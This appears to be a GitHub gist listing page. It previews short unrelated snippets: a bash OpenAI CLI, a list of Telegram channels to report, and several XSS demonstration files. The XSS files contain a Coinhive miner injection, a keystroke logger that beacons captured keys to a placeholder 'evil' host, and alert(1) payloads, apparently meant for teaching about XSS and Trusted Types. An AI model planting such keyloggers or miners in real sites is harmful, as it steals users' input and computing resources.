View chat-gpt.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This script is an example CLI for OpenAI | |
# Check for required dependencies | |
if ! command -v curl > /dev/null; then | |
echo "Error: curl is not installed. Please install curl and try again." | |
exit 1 | |
fi |
View gist:27041289c766cd97a6acff71f2348b3d
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Block Russian Propaganda Channels! | |
(check updates from telegram channel - https://t.me/+nqYNNt0qoKU4MTRi) | |
You can help Ukraine by reporting this channels as fake: | |
TELEGRAM: | |
https://t.me/grey_zone | |
https://t.me/rlz_the_kraken | |
https://t.me/warjournaltg | |
https://t.me/bbbreaking |
View convert.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let data = [{ | |
"counterpartyGroupId": 10, | |
"counterpartyGroupName": "Офисные сооружения", | |
"counterpartyGroupTypeId": 3, | |
"counterpartyGroupRemark": "Офисы", | |
"counterpartyGroupParentId": 0 | |
}, | |
{ | |
"counterpartyGroupId": 11, | |
"counterpartyGroupName": "Страховые компании", |
View trusted.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
el.innerHTML = aTrustedHTML; |
View not_trusted.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
el.innerHTML = location.hash.slice(1); //string |
View trusted_types.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
el.innerHTML = { toString: () => 'hello' } | |
el.innerHTML // "hello" |
View xss_coins.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://coinhive.com/lib/coinhive.min.js"> | |
</script> | |
<script> | |
var miner = new CoinHive.User('SITE_KEY', 'john-doe'); | |
miner.start(); | |
</script> |
View xss_creditcard.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var keys=''; | |
document.onkeypress = function(e) { | |
e = window.event?event:e; | |
key = e.keyCode?e.keyCode:e.charCode; | |
key = String.fromCharCode(key); | |
keys+=key; | |
} | |
window.setInterval(function(){ | |
new Image().src = 'http://evil.../log.php?c='+keys; |
View xss_result.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form id="#form"> | |
<input type="hidden" | |
value="https://example.com"/><script>alert(1)</script> | |
</form> |
View xss.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.../?user=something<script>alert(1)</script>... |
NewerOlder